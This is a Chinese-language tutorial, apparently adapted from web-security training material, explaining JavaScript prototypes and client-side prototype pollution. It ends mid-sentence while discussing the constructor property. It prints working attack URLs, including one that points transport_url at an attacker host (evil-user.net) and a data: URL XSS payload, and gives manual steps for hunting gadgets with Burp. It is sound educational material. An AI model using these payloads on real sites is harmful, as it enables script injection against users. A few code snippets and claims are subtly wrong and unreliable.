JavaScript 中的每个对象都链接到某种类型的另一个对象,称为原型(prototype)。默认情况下,JavaScript 会自动将新对象分配给其内置原型之一。
说的通俗一点:原型就是将不同的变量类型转换成了一个默认包含众多内置方法的对象。
您可以在下面看到这些全局原型的更多示例:
et myObject = {}; Object.getPrototypeOf(myObject); // Object.prototype let myString = ""; Object.getPrototypeOf(myString); // String.prototype let myArray = []; Object.getPrototypeOf(myArray); // Array.prototype let myNumber = 1; Object.getPrototypeOf(myNumber); // Number.prototype
1.以后端开发者为例:如果是后端开发者应该会知道面向对象的链式对象。在指向对象方法处理后,返回自身或其它对象从而设置更多属性或执行函数。
2.以前端开发者为例: 在定义字符串变量后字符串会自动分配内置的String.prototype.该原型会包含一些对字符串操作的函数,你可以轻松的直接使用,如转换成大写字符:
# 定义一个字符串,调用默认的原型函数:toUpperCase();
let str = "Hello Prototype".toUpperCase();
// 输出: HELLO PROTOTYPE
如没有默认字符串的原型支持。以函数方式来转换大写者写法如下:
# 定义一个字符串
let str = "Hello Prototype";
# 调用函数:toUpperCase();
let str2 = toUpperCase(str);
// 输出: HELLO PROTOTYPE
对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象的属性和方法的新对象。
内置原型提供了用于处理基本数据类型的有用属性和方法。这使得开发人员不必手动将此行为添加到他们创建的每个新字符串中。
原型污染是一个 JavaScript 漏洞,正如我们上面所说,创建变量时内置了众多方法。攻击者可以利用它向全局对象原型添加任意属性,用户定义的对象可以继承这些属性。
例如内置字符串内置方法 toUpperCase 作用时转换大写。我们可以利用原型对其方法进行任意修改,你可以修改成转换成小写。 这就是原型污染。
污染:对原有的内容进行串改以至于它不再“单纯”了, “我脏了”
在对JavaScript 进行漏洞利用前,先简单了解一下基础,如果你有基础,可以跳过这个小节。
JavaScript 对象本质上只是多个 key:value 的集合,其中key是指名称,value是值。
例如:
姓名(key):张三(value)
性别(key):男(value)
...
以下对象可以代表:
const user = {
name: "张三",
sex: "男"...
}
您可以通过使用点表示法或方括号表示法来引用其各自的键来访问对象的属性
user.username // 输出:张三
user['sex'] // 输出:男
除了数据之外,属性还可能包含可执行函数。在这种情况下,该函数称为“方法”。
const user = {
name: "张三",
sex: "男",
exampleMethod: function(){
// do something
}
}
上面的示例是一个“对象文字”,这意味着它是使用大括号语法创建的,以显式声明其属性及其初始值。然而,重要的是要理解 JavaScript 中几乎所有内容都是底层的对象。在这些材料中,术语“对象”指的是所有实体,而不仅仅是对象文字。
每当您引用对象的属性时,JavaScript 引擎都会首先尝试直接在对象本身上访问该属性。如果对象没有匹配的属性,JavaScript 引擎会在对象的原型上查找它。
给定以下对象,这使您能够引用myObject.propertyA,例如:您可以使用浏览器控制台来查看此行为的实际效果。首先,创建一个完全空的对象:
let myObject = {};
myObject后跟一个点。 控制台会提示您从属性和方法列表中进行选择:
尽管没有为对象本身定义属性或方法,但它继承了内置的一些属性或方法Object.prototype。
在对变量类型使用原型后的生成的结果依然是一个新的原型。由于实际上 JavaScript 中的所有内容都是底层的对象,因此这条链最终会回到顶层Object.prototype。例如同时将其先转换小写再转换大写:
"hEllo".toLowerCase().toUpperCase();
重要的是,对象不仅从其直接原型继承属性,而且从原型链中位于其上方的所有对象继承属性。在上面的示例中,这意味着该对象可以访问 和的username属性和 String.prototype 方法。如:
const user = { name: "法外狂徒", sex: "男",
age: 12,
en_name:"fawai" }
// 调用en_name并转换成大写:
user.en_name.toUpperCase();
# 优先级:用户定义->原型
每个对象都有一个特殊的属性,您可以使用它来访问其原型。尽管它没有正式的标准化名称,但__proto__它是大多数浏览器使用的事实上的标准。如果您熟悉面向对象的语言,那么此属性既可用作对象原型的 getter 又可用作 setter。这意味着您可以使用它来读取原型及其属性,甚至在必要时重新分配它们。
与任何属性一样,您可以__proto__使用括号或点符号进行访问:
您甚至可以链接引用以__proto__沿着原型链向上引用:
username.__proto__ // String.prototype username.__proto__.__proto__ // Object.prototype username.__proto__.__proto__.__proto__ // null
开发人员可以自定义或重写原型内置方法的行为,甚至添加新方法来执行有用的操作。
例如,现代 JavaScript 提供了trim()字符串方法,使您能够轻松删除任何前导或尾随空格。在引入此内置方法之前,开发人员有时会String.prototype通过执行以下操作将自己的此行为的自定义实现添加到对象中:
String.prototype.trim = function(){ // 删除前后空格
return "我不干净了"; }
由于原型继承,所有字符串都可以访问此方法:
let username = " 前后空格 "; username.trim(); // "我不干净了"
当 JavaScript 函数递归地将包含用户可控制属性的对象合并到现有对象中时,通常会出现原型污染漏洞,而无需首先清理key。这可允许攻击者注入带有key(如__proto__
)的属性以及任意嵌套属性。
由于 JavaScript __proto__
上下文中的特殊含义,合并操作可以将嵌套属性分配给对象的原型,而不是目标对象本身。因此,攻击者可以使用包含有害值的属性污染原型,这些属性随后可能被应用程序以危险的方式使用。
有可能污染任何原型对象,但这最常发生在内置的全局 Object.prototype
.
成功利用原型污染需要以下关键要素:
接收器 - 换句话说,可以执行任意代码的 JavaScript 函数或 DOM 元素。
可利用的属性 - 这是在未经适当筛选或清理的情况下传递到接收器的任何属性。
原型污染源是任何用户可控的输入,使您能够向原型对象添加任意属性。最常见的来源如下:
1.基于 URL参数进行污染
考虑以下 URL,其中包含攻击者构建的查询字符串:
https://vulnerable-website.com/?__proto__[evilProperty]=payload
当将查询字符串分成对时key:value,URL 解析器可能会将其解释__proto__为任意字符串。让我们看看如果这些key和value作为属性合并到现有对象中会发生什么。
您可能认为该__proto__属性及其嵌套evilProperty将被添加到目标对象,如下所示:
{ existingProperty1: 'foo', existingProperty2: 'bar', __proto__: { evilProperty: 'payload' } }
然而,事实并非如此。evilProperty在某些时候,递归合并操作可能会分配与以下等效的语句 的值:
targetObject.__proto__.evilProperty = 'payload';
在此分配期间,JavaScript 引擎将其视为__proto__原型的 getter结果,evilProperty被分配给返回的原型对象而不是目标对象本身。假设目标对象使用默认值Object.prototype,JavaScript 运行时中的所有对象现在都将继承evilProperty,除非它们已经拥有自己的属性和匹配的键。
注意:注入名为 的属性evilProperty不太可能产生任何效果。 只是为了演示,现实中你可以利用相同的技术来对其进行原型污染
2.基于 JSON 的原型污染
用户可控的对象通常是使用该JSON.parse()方法从 JSON 字符串派生的。有趣的是,JSON.parse()还将 JSON 对象中的任何key视为任意字符串,包括__proto__. 这为原型污染提供了另一个潜在载体。
假设攻击者通过网络消息注入以下恶意 JSON:
{ "__proto__": { "evilProperty": "payload" } }
如果通过该JSON.parse()方法将其转换为 JavaScript 对象,则生成的对象实际上将具有一个带有 key 的属性__proto__:
const objectLiteral = {__proto__: {evilProperty: 'payload'}}; const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}'); objectLiteral.hasOwnProperty('__proto__'); // false objectFromJson.hasOwnProperty('__proto__'); // true
如果通过创建的对象JSON.parse() 在没有适当清理key的情况下合并到现有对象中,这也会导致分配期间的原型污染,正如我们在上面 基于 URL 的示例中看到的那样。
JSON.parse:用于将json转换成数组
hasOwnProperty方法用于检查对象是否具有指定的属性,可以帮助我们确定属性是否属于对象自身,而不是继承自原型链。
在我们了解可支撑原型污染的源后,我们需要找到能解析执行的接收函数。
原型污染汇本质上只是一个 JavaScript 函数或 DOM 元素,您可以通过原型污染访问它,这使您能够执行任意 JavaScript 或系统命令。我们在 DOM XSS 小节中广泛介绍了一些客户端接收器。
由于原型污染允许您控制原本无法访问的属性,因此这可能使您能够在目标应用程序中达到许多其他属性。不熟悉原型污染的开发人员可能会错误地认为这些属性不是用户可控制的。
原型污染属性提供了一种将原型污染漏洞转化为实际漏洞的方法。这是符合以下条件的任何属性:
如果属性直接在对象本身上定义,则属性不能是小工具。在这种情况下,对象自己的属性版本优先于能够添加到原型的任何恶意版本。健壮的网站还可以显式将对象的原型设置为 null
,这可确保它根本不继承任何属性。
许多 JavaScript 库接受开发人员可用于设置不同配置选项的对象。库代码检查开发人员是否已显式向此对象添加某些属性,如果是,则相应地调整配置。如果表示特定选项的属性不存在,则通常使用预定义的默认选项。一个简化的示例可能如下所示:
let transport_url = config.transport_url || defaults.transport_url;
现在假设库代码使用它 transport_url
来添加对页面的脚本引用:
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
如果网站的开发人员尚未在其 config
对象上设置 transport_url
属性,则这是一个潜在的漏洞。如果攻击者能够用自己的transport_url
属性污染全局 Object.prototype
,则 config
对象将继承该属性,因此,将此脚本设置为 src
攻击者选择的域。
例如,如果原型可以通过查询参数污染,则攻击者只需诱使受害者访问特制的URL,即可使其浏览器从攻击者控制的域导入恶意JavaScript文件:
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
通过提供 data:
URL,攻击者还可以直接在查询字符串中嵌入 XSS 有效负载,如下所示:
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
请注意,此示例 //
中的尾随只是为了注释掉硬编码 /example.js
的后缀。
在本节中,将学习到如何在野区查找客户端原型污染漏洞。为了帮助巩固您对这些漏洞如何工作的理解,我们将介绍如何手动执行此操作。
手动查找原型污染源在很大程度上是一个反复试验的情况。简而言之,您需要尝试不同的方法来添加任意属性Object.prototype
直到找到有效的注入点。
测试客户端漏洞涉及以下步骤:
1.尝试通过查询字符串、URL 片段和任何 JSON 输入注入任意属性。例如:
vulnerable-website.com/?__proto__[foo]=bar
2.在浏览器控制台中,检查 Object.prototype
是否成功用任意属性污染了它:
Object.prototype.foo
//输出 “bar”表示您已成功污染原型
//输出 undefined 表示攻击未成功
3.如果该属性未添加到原型中,请尝试使用不同的技术,例如切换到点表示法而不是括号表示法,反之亦然:
vulnerable-website.com/?__proto__.foo=bar
4.对每个潜在注入点重复此过程。
如果这两种技术都不成功,您仍然可以通过其构造函数污染原型。稍后我们将更详细地介绍如何执行此操作。
如您所见,手动查找原型污染源可能是一个相当乏味的过程。 一旦你确定了一个注入点,让你向全局Object.prototype
添加任意属性,下一步是找到一个合适的payload,你可以用它来制作一个漏洞利用。 手动客户端原型污染漏洞步骤如下:
1.查看源代码引用了什么脚本组件或审计代码,例如,在控制台中打开源代码tab栏查看引入了什么js:
2.接下来打开 Burp ,启用响应拦截(“代理>选项”>“拦截服务器响应”),并拦截包含要测试的 JavaScript 的响应。
3.在脚本开头添加一条 debugger
语句,然后转发任何剩余的请求和响应。
4.在 Burp 的浏览器中,转到加载目标脚本的页面。该 debugger
语句暂停脚本的执行。
5.当脚本仍处于暂停状态时,切换到控制台并输入以下命令,并替换为 YOUR-PROPERTY
您认为是潜在受损的变量属性之一:
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } })
该属性将添加到全局 Object.prototype
,并且浏览器将在访问控制台时将堆栈跟踪记录到控制台。
6.按下按钮继续执行脚本并监视控制台。如果出现堆栈跟踪,则确认已在应用程序中的某个位置访问了该属性。
7.展开堆栈跟踪,并使用提供的链接跳转到正在读取属性的代码行。
8.使用浏览器的调试器控件,单步执行执行的每个阶段,以查看属性是否传递到接收器,例如 innerHTML
或 eval()
。
9.对你认为是潜在的任何属性重复此过程。
到目前为止,我们专门研究了如何通过特殊 __proto__
访问器属性获取对原型对象的引用。由于这是原型污染的经典技术,因此常见的防御措施是在合并用户控制的对象 __proto__
之前从用户控制的对象中剥离任何属性。这种方法是有缺陷的 __proto__
,因为有替代方法可以引用 Object.prototype
而不依赖于字符串。
除非它的原型设置为 null ,否则每个 JavaScript 对象都有一个constructor
属性 ,其中包含对用于创建它的构造函数的引用。
例如,可以使用文本语法或通过显式调用 Object()
构造函数来创建新对象,如下所示:
let myObjectLiteral = {}; let myObject = new Object();
然后,可以通过内置 constructor
属性引用 Object()
构造函数:
myObjectLiteral.constructor // function Object(){...} myObject.constructor // function Object(){...}
请记住,函数也只是引擎盖下的对象。每个构造函数都有一个属性,该 prototype
属性指向将分配给此构造函数创建的任何对象的原型。因此,您还可以访问任何对象的原型,如下所示:
myObject.constructor.prototype // Object.prototype myString.constructor.prototype // String.prototype myArray.constructor.prototype // Array.prototype
myObject.cons